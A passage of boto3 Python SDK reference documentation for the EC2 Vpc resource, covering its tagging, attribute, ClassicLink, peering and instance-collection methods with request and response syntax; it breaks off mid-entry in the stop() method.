fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1158)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1160)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = vpc.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpc) + +**Request Syntax** + +response = vpc.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcAttribute) + +**Request Syntax** + +response = vpc.describe_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The VPC attribute. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) --_ + + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) --_ + + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach_classic_link_instance(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = vpc.detach_classic_link_instance( + DryRun=True|False, + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to unlink from the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = vpc.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +disable_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLink) + +**Request Syntax** + +response = vpc.disable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLink) + +**Request Syntax** + +response = vpc.enable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcAttribute) + +**Request Syntax** + +response = vpc.modify_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + +) + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.reload() + +Returns + +None + +request_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = vpc.request_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1173)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1175)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +accepted_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = vpc.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = vpc.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = vpc.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = vpc.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = vpc.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** 